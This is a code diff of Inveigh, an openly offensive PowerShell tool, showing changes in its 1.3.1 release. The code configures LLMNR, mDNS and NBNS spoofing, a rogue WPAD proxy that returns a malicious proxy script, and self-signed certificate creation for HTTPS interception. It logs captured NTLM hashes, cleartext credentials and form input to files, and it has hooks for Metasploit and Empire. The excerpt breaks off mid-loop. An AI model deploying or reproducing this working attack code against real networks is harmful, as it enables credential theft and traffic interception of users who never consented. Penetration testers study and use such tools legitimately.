"Firefox", + [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", + [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", + [parameter(Mandatory=$false)][Int]$HTTPPort = "80", + [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", + [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", + [parameter(Mandatory=$false)][Int]$LLMNRTTL = "30", + [parameter(Mandatory=$false)][Int]$mDNSTTL = "120", + [parameter(Mandatory=$false)][Int]$NBNSTTL = "165", + [parameter(Mandatory=$false)][Int]$NBNSBruteForcePause = "", + [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", + [parameter(Mandatory=$false)][Int]$RunCount = "", + [parameter(Mandatory=$false)][Int]$RunTime = "", + [parameter(Mandatory=$false)][Int]$WPADPort = "", + [parameter(Mandatory=$false)][Int]$SpooferLearningDelay = "", + [parameter(Mandatory=$false)][Int]$SpooferLearningInterval = "30", + [parameter(Mandatory=$false)][String]$HTTPBasicRealm = "IIS", + [parameter(Mandatory=$false)][String]$HTTPContentType = "text/html", + [parameter(Mandatory=$false)][String]$HTTPDefaultFile = "", + [parameter(Mandatory=$false)][String]$HTTPDefaultEXE = "", + [parameter(Mandatory=$false)][String]$HTTPResponse = "", + [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", + [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", + [parameter(Mandatory=$false)][String]$NBNSBruteForceHost = "WPAD", + [parameter(Mandatory=$false)][String]$WPADResponse = "", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$mDNS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSBruteForce = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMB = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferLearning = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADDirectFile = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Auto","Y","N")][String]$ElevatedPrivilege = "Auto", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$HTTPAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateSet("QU","QM")][Array]$mDNSTypes = @("QU"), + [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes = @("00","20"), + [parameter(Mandatory=$false)][ValidateSet("Basic","NTLM","NTLMNoESS")][String]$ProxyAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$WPADAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir = "", [parameter(Mandatory=$false)][Switch]$Inspect, + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$NBNSBruteForceTarget = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if ($invalid_parameter) { - throw "$($invalid_parameter) is not a valid parameter." + Write-Output "Error:$($invalid_parameter) is not a valid parameter" + throw } +$inveigh_version = "1.3.1" + if(!$IP) { $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) @@ -314,36 +408,13 @@ if(!$SpooferIP) $SpooferIP = $IP } -if($SMBRelay -eq 'Y') -{ - - if(!$SMBRelayTarget) - { - throw "You must specify an -SMBRelayTarget if enabling -SMBRelay" - } - - if(!$SMBRelayCommand) - { - throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" - } - - if($Challenge -or $HTTPDefaultFile -or $HTTPDefaultEXE -or $HTTPResponse -or $WPADIP -or $WPADPort -or $WPADResponse) - { - throw "-Challenge -HTTPDefaultFile, -HTTPDefaultEXE, -HTTPResponse, -WPADIP, -WPADPort, and -WPADResponse can not be used when enabling -SMBRelay" - } - elseif($HTTPAuth -ne 'NTLM' -or $WPADAuth -eq 'Basic') - { - throw "Only -HTTPAuth NTLM, -WPADAuth NTLM, and -WPADAuth Anonymous can be used when enabling -SMBRelay" - } - -} - if($HTTPDefaultFile -or $HTTPDefaultEXE) { if(!$HTTPDir) { - throw "You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" + Write-Output "Error:You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" + throw } } @@ -353,77 +424,154 @@ if($WPADIP -or $WPADPort) if(!$WPADIP) { - throw "You must specify a -WPADPort to go with -WPADIP" + Write-Output "Error:You must specify a -WPADPort to go with -WPADIP" + throw } if(!$WPADPort) { - throw "You must specify a -WPADIP to go with -WPADPort" + Write-Output "Error:You must specify a -WPADIP to go with -WPADPort" + throw } } -if(!$OutputDir) +if($NBNSBruteForce -eq 'Y' -and !$NBNSBruteForceTarget) +{ + Write-Output "Error:You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" + throw +} + +if(!$FileOutputdirectory) { $output_directory = $PWD.Path } else { - $output_directory = $OutputDir + $output_directory = $FileOutputdirectory } if(!$inveigh) { $global:inveigh = [HashTable]::Synchronized(@{}) + $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = New-Object System.Collections.ArrayList $inveigh.log = New-Object System.Collections.ArrayList $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList + $inveigh.POST_request_list = New-Object System.Collections.ArrayList $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList } if($inveigh.running) { - throw "Invoke-Inveigh is already running, use Stop-Inveigh" + Write-Output "Error:Invoke-Inveigh is already running, use Stop-Inveigh" + throw } -elseif($inveigh.relay_running) + +if($HTTP_listener.IsListening -and !$inveigh.relay_running) { - throw "Invoke-InveighRelay is already running, use Stop-Inveigh" + $HTTP_listener.Stop() + $HTTP_listener.Close() } -$inveigh.sniffer_socket = $null - -if($inveigh.HTTP_listener.IsListening) +if(!$inveigh.relay_running) { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList + $inveigh.console_queue = New-Object System.Collections.ArrayList + $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList + $inveigh.log_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList + $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList + $inveigh.status_queue = New-Object System.Collections.ArrayList + $inveigh.console_input = $true + $inveigh.console_output = $false + $inveigh.file_output = $false + $inveigh.HTTPS_existing_certificate = $false + $inveigh.HTTPS_force_certificate_delete = $false + $inveigh.log_output = $true + $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" + $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" + $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" + $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" + $inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt" } -$inveigh.console_queue = New-Object System.Collections.ArrayList -$inveigh.status_queue = New-Object System.Collections.ArrayList -$inveigh.log_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList -$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList -$inveigh.certificate_application_ID = $HTTPSCertAppID -$inveigh.certificate_thumbprint = $HTTPSCertThumbprint -$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList -$inveigh.console_output = $false -$inveigh.console_input = $true -$inveigh.file_output = $false -$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" -$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" -$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" -$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" -$inveigh.HTTP_response = $HTTPResponse -$inveigh.HTTP_directory = $HTTPDir -$inveigh.HTTP_default_file = $HTTPDefaultFile -$inveigh.HTTP_default_exe = $HTTPDefaultEXE -$inveigh.WPAD_response = $WPADResponse -$inveigh.challenge = $Challenge +if($ElevatedPrivilege -eq 'Auto') +{ + $elevated_privilege = [Bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") +} +else +{ + + if($ElevatedPrivilege -eq 'Y') + { + $elevated_privilege = $true + } + else + { + $elevated_privilege = $false + } + +} + +if($StartupChecks -eq 'Y') +{ + + $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} + + if($HTTP -eq 'Y') + { + $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " + } + + if($HTTPS -eq 'Y') + { + $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " + } + + if($Proxy -eq 'Y') + { + $proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " + } + + if($LLMNR -eq 'Y' -and !$elevated_privilege) + { + $LLMNR_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:5355 " + } + + if($mDNS -eq 'Y' -and !$elevated_privilege) + { + $mDNS_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:5353 " + } + +} + +if(!$elevated_privilege) +{ + + if($HTTPS -eq 'Y') + { + Write-Output "Error:-HTTPS requires elevated privileges" + throw + } + + if($SpooferLearning -eq 'Y') + { + Write-Output "Error:-SpooferLearning requires elevated privileges" + throw + } + + $NBNS = "Y" + $SMB = "N" + +} + +$inveigh.hostname_spoof = $false $inveigh.running = $true if($StatusOutput -eq 'Y') @@ -446,28 +594,62 @@ else if($Inspect) { - $LLMNR = "N" - $NBNS = "N" - $HTTP = "N" - $HTTPS = "N" - $SMB = "N" + + if($elevated_privilege) + { + $LLMNR = "N" + $mDNS = "N" + $NBNS = "N" + $HTTP = "N" + $HTTPS = "N" + $Proxy = "N" + } + else + { + $HTTP = "N" + $HTTPS = "N" + $Proxy = "N" + } + } -if($Tool -eq 1) # Metasploit Interactive PowerShell +if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension { $inveigh.tool = 1 $inveigh.output_stream_only = $true $inveigh.newline = "" $ConsoleOutput = "N" + } elseif($Tool -eq 2) # PowerShell Empire { $inveigh.tool = 2 $inveigh.output_stream_only = $true $inveigh.console_input = $false - $inveigh.newline = "`n" - $ConsoleOutput = "Y" + $inveigh.newline = "" + $LogOutput = "N" $ShowHelp = "N" + + switch ($ConsoleOutput) + { + + 'Low' + { + $ConsoleOutput = "Low" + } + + 'Medium' + { + $ConsoleOutput = "Medium" + } + + default + { + $ConsoleOutput = "Y" + } + + } + } else { @@ -476,132 +658,360 @@ else } # Write startup messages -$inveigh.status_queue.Add("Inveigh started at $(Get-Date -format 's')") > $null -$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh started")]) > $null -$inveigh.status_queue.Add("Listening IP Address = $IP") > $null -$inveigh.status_queue.Add("LLMNR/NBNS Spoofer IP Address = $SpooferIP") > $null +$inveigh.status_queue.Add("Inveigh $inveigh_version started at $(Get-Date -format 's')") > $null -if($LLMNR -eq 'Y') +if($FileOutput -eq 'Y') { - $inveigh.status_queue.Add("LLMNR Spoofing Enabled") > $null - $inveigh.status_queue.Add("LLMNR TTL = $LLMNRTTL Seconds") > $null - $LLMNR_response_message = "- spoofed response has been sent" + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh $inveigh_version started") > $null +} + +if($LogOutput -eq 'Y') +{ + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh started") > $null + $inveigh.log_output = $true } else { - $inveigh.status_queue.Add("LLMNR Spoofing Disabled") > $null - $LLMNR_response_message = "- LLMNR spoofing is disabled" + $inveigh.log_output = $false +} + +if($ElevatedPrivilege -eq 'Y' -or $elevated_privilege) +{ + $inveigh.status_queue.Add("Elevated Privilege Mode = Enabled") > $null +} +else +{ + $inveigh.status_queue.Add("Elevated Privilege Mode = Disabled") > $null +} + +if($firewall_status) +{ + $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null + $firewall_rules = New-Object -comObject HNetCfg.FwPolicy2 + $firewall_powershell = $firewall_rules.rules | Where-Object {$_.Enabled -eq $true -and $_.Direction -eq 1} |Select-Object -Property Name | Select-String "Windows PowerShell}" + + if($firewall_powershell) + { + $inveigh.status_queue.Add("Windows Firewall - PowerShell.exe = Allowed") > $null + } + +} + +$inveigh.status_queue.Add("Primary IP Address = $IP") > $null + +if($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y') +{ + $inveigh.status_queue.Add("LLMNR/mDNS/NBNS Spoofer IP Address = $SpooferIP") > $null +} + +if($LLMNR -eq 'Y') +{ + + if($elevated_privilege -or !$LLMNR_port_check) + { + $inveigh.status_queue.Add("LLMNR Spoofer = Enabled") > $null + $inveigh.status_queue.Add("LLMNR TTL = $LLMNRTTL Seconds") > $null + $LLMNR_response_message = "- response sent" + } + else + { + $LLMNR = "N" + $inveigh.status_queue.Add("LLMNR Spoofer Disabled Due To In Use Port 5355") > $null + } + +} +else +{ + $inveigh.status_queue.Add("LLMNR Spoofer = Disabled") > $null + $LLMNR_response_message = "- LLMNR spoofer is disabled" +} + +if($mDNS -eq 'Y') +{ + + if($elevated_privilege -or !$mDNS_port_check) + { + $mDNSTypes_output = $mDNSTypes -join "," + + if($mDNSTypes.Count -eq 1) + { + $inveigh.status_queue.Add("mDNS Spoofer For Type $mDNSTypes_output = Enabled") > $null + } + else + { + $inveigh.status_queue.Add("mDNS Spoofer For Types $mDNSTypes_output = Enabled") > $null + } + + $inveigh.status_queue.Add("mDNS TTL = $mDNSTTL Seconds") > $null + $mDNS_response_message = "- response sent" + + } + else + { + $mDNS = "N" + $inveigh.status_queue.Add("mDNS Spoofer Disabled Due To In Use Port 5353") > $null + } + +} +else +{ + $inveigh.status_queue.Add("mDNS Spoofer = Disabled") > $null + $mDNS_response_message = "- mDNS spoofer is disabled" } if($NBNS -eq 'Y') { $NBNSTypes_output = $NBNSTypes -join "," + $NBNS_response_message = "- response sent" if($NBNSTypes.Count -eq 1) { - $inveigh.status_queue.Add("NBNS Spoofing Of Type $NBNSTypes_output Enabled") > $null + $inveigh.status_queue.Add("NBNS Spoofer For Type $NBNSTypes_output = Enabled") > $null } else { - $inveigh.status_queue.Add("NBNS Spoofing Of Types $NBNSTypes_output Enabled") > $null + $inveigh.status_queue.Add("NBNS Spoofer For Types $NBNSTypes_output = Enabled") > $null } - $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null - $NBNS_response_message = "- spoofed response has been sent" } else { - $inveigh.status_queue.Add("NBNS Spoofing Disabled") > $null - $NBNS_response_message = "- NBNS spoofing is disabled" + $inveigh.status_queue.Add("NBNS Spoofer = Disabled") > $null + $NBNS_response_message = "- NBNS spoofer is disabled" +} + +if($NBNSBruteForce -eq 'Y') +{ + $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $NBNSBruteForceTarget") > $null + $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null + $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $NBNSBruteForceHost") > $null + + if($NBNSBruteForcePause) + { + $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSBruteForcePause Seconds") > $null + } + +} + +if($NBNS -eq 'Y' -or $NBNSBruteForce -eq 'Y') +{ + $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null +} + +if($SpooferLearning -eq 'Y' -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) +{ + $inveigh.status_queue.Add("Spoofer Learning = Enabled") > $null + + if($SpooferLearningDelay -eq 1) + { + $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minute") > $null + } + elseif($SpooferLearningDelay -gt 1) + { + $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minutes") > $null + } + + if($SpooferLearningInterval -eq 1) + { + $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minute") > $null + } + elseif($SpooferLearningInterval -eq 0) + { + $inveigh.status_queue.Add("Spoofer Learning Interval = Disabled") > $null + } + elseif($SpooferLearningInterval -gt 1) + { + $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minutes") > $null + } + } if($SpooferHostsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofing requests for " + $SpooferHostsReply -join ",") > $null + $inveigh.status_queue.Add("Spoofer Hosts Reply = " + ($SpooferHostsReply -join ",")) > $null } if($SpooferHostsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Ignoring requests for " + $SpooferHostsIgnore -join ",") > $null + $inveigh.status_queue.Add("Spoofer Hosts Ignore = " + ($SpooferHostsIgnore -join ",")) > $null } if($SpooferIPsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofing requests from " + $SpooferIPsReply -join ",") > $null + $inveigh.status_queue.Add("Spoofer IPs Reply = " + ($SpooferIPsReply -join ",")) > $null } if($SpooferIPsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Ignoring requests from " + $SpooferIPsIgnore -join ",") > $null + $inveigh.status_queue.Add("Spoofer IPs Ignore = " + ($SpooferIPsIgnore -join ",")) > $null } if($SpooferRepeat -eq 'N') { $inveigh.spoofer_repeat = $false - $inveigh.status_queue.Add("Spoofer Repeating Disabled") > $null + $inveigh.status_queue.Add("Spoofer Repeating = Disabled") > $null } else { $inveigh.spoofer_repeat = $true } -if($SMB -eq 'Y') +if($SMB -eq 'Y' -and $elevated_privilege) { - $inveigh.status_queue.Add("SMB Capture Enabled") > $null + $inveigh.status_queue.Add("SMB Capture = Enabled") > $null } else { - $inveigh.status_queue.Add("SMB Capture Disabled") > $null + $inveigh.status_queue.Add("SMB Capture = Disabled") > $null } if($HTTP -eq 'Y') { - $inveigh.HTTP = $true - $inveigh.status_queue.Add("HTTP Capture Enabled") > $null + + if($HTTP_port_check) + { + $HTTP = "N" + $inveigh.status_queue.Add("HTTP Capture Disabled Due To In Use Port $HTTPPort") > $null + } + else + { + + if($HTTPIP -ne '0.0.0.0') + { + $inveigh.status_queue.Add("HTTP IP = $HTTPIP") > $null + } + + if($HTTPPort -ne 80) + { + $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null + } + + $inveigh.status_queue.Add("HTTP Capture = Enabled") > $null + } + } else { - $inveigh.HTTP = $false - $inveigh.status_queue.Add("HTTP Capture Disabled") > $null + $inveigh.status_queue.Add("HTTP Capture = Disabled") > $null } if($HTTPS -eq 'Y') { - try + if($HTTPS_port_check) { - $inveigh.HTTPS = $true - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\Inveigh.pfx") - $certificate_store.Add($certificate) - $certificate_store.Close() - $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint - $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" - $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) - & "netsh" $netsh_arguments > $null - $inveigh.status_queue.Add("HTTPS Capture Enabled") > $null - } - catch - { - $certificate_store.Close() - $HTTPS="N" + $HTTPS = "N" $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Install Error") > $null + $inveigh.status_queue.Add("HTTPS Capture Disabled Due To In Use Port $HTTPSPort") > $null + } + else + { + + try + { + $inveigh.certificate_issuer = $HTTPSCertIssuer + $inveigh.certificate_CN = $HTTPSCertSubject + $inveigh.status_queue.Add("HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null + $inveigh.status_queue.Add("HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null + $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + if(!$certificate_check) + { + # credit to subTee for cert creation code https://github.com/subTee/Interceptor + $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_key = new-object -com "X509Enrollment.CX509PrivateKey" + $certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" + $certificate_key.KeySpec = 2 + $certificate_key.Length = 2048 + $certificate_key.MachineContext = 1 + $certificate_key.Create() + $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" + $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") + $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" + $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) + $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" + $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) + $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" + $certificate.InitializeFromPrivateKey(2,$certificate_key,"") + $certificate.Subject = $certificate_distinguished_name + $certificate.Issuer = $certificate_issuer_distinguished_name + $certificate.NotBefore = (get-date).AddDays(-271) + $certificate.NotAfter = $certificate.NotBefore.AddDays(824) + $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId + $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") + $certificate.HashAlgorithm = $certificate_hash_algorithm_OID + $certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension) + $certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" + $certificate_basic_constraints.InitializeEncode("true",1) + $certificate.X509Extensions.Add($certificate_basic_constraints) + $certificate.Encode() + $certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment" + $certificate_enrollment.InitializeFromRequest($certificate) + $certificate_data = $certificate_enrollment.CreateRequest(0) + $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") + $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + } + else + { + + if($HTTPSForceCertDelete -eq 'Y') + { + $inveigh.HTTPS_force_certificate_delete = $true + } + + $inveigh.HTTPS_existing_certificate = $true + $inveigh.status_queue.Add("HTTPS Capture = Using Existing Certificate") > $null + } + + $inveigh.HTTPS = $true + + if($HTTPIP -ne '0.0.0.0') + { + $inveigh.status_queue.Add("HTTPS IP = $HTTPIP") > $null + } + + if($HTTPSPort -ne 443) + { + $inveigh.status_queue.Add("HTTPS Port = $HTTPSPort") > $null + } + + $inveigh.status_queue.Add("HTTPS Capture = Enabled") > $null + + } + catch + { + $HTTPS = "N" + $inveigh.HTTPS = $false + $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Error") > $null + } + } } else { - $inveigh.status_queue.Add("HTTPS Capture Disabled") > $null + $inveigh.status_queue.Add("HTTPS Capture = Disabled") > $null } -if($inveigh.HTTP -or $inveigh.HTTPS) +if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') { $inveigh.status_queue.Add("HTTP/HTTPS Authentication = $HTTPAuth") > $null $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null + if($WPADAuth -like "NTLM*") + { + $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) + + if($WPADAuthIgnore.Count -gt 0) + { + $inveigh.status_queue.Add("WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null + } + + } + if($HTTPDir -and !$HTTPResponse) { $inveigh.status_queue.Add("HTTP/HTTPS Directory = $HTTPDir") > $null @@ -620,7 +1030,12 @@ if($inveigh.HTTP -or $inveigh.HTTPS) if($HTTPResponse) { - $inveigh.status_queue.Add("HTTP/HTTPS Custom Response Enabled") > $null + $inveigh.status_queue.Add("HTTP/HTTPS Response = Enabled") > $null + } + + if($HTTPResponse -or $HTTPDir -and $HTTPContentType -ne 'html/text') + { + $inveigh.status_queue.Add("HTTP/HTTPS/Proxy Content Type = $HTTPContentType") > $null } if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') @@ -628,11 +1043,86 @@ if($inveigh.HTTP -or $inveigh.HTTPS) $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null } - if($WPADIP -and $WPADPort) - { - $inveigh.status_queue.Add("WPAD Response Enabled") > $null - $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null + $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) + if($HTTPResetDelay.Count -gt 0) + { + $inveigh.status_queue.Add("HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null + $inveigh.status_queue.Add("HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null + } + + if($Proxy -eq 'Y') + { + + if($proxy_port_check) + { + $Proxy = "N" + $inveigh.status_queue.Add("Proxy Capture Disabled Due To In Use Port $ProxyPort") > $null + } + else + { + $inveigh.status_queue.Add("Proxy Capture = Enabled") > $null + $inveigh.status_queue.Add("Proxy Port = $ProxyPort") > $null + $inveigh.status_queue.Add("Proxy Authentication = $ProxyAuth") > $null + $ProxyPortFailover = $ProxyPort + 1 + $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) + + if($ProxyIgnore.Count -gt 0) + { + $inveigh.status_queue.Add("Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null + } + + if($ProxyIP -eq '0.0.0.0') + { + $proxy_WPAD_IP = $IP + } + else + { + $proxy_WPAD_IP = $ProxyIP + } + + if($WPADIP -and $WPADPort) + { + $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $WPADIP`:$WPADPort; DIRECT`";}" + } + else + { + $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_wpad_IP`:$ProxyPortFailover; DIRECT`";}" + } + + } + + } + + if($WPADDirectHosts) + { + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + 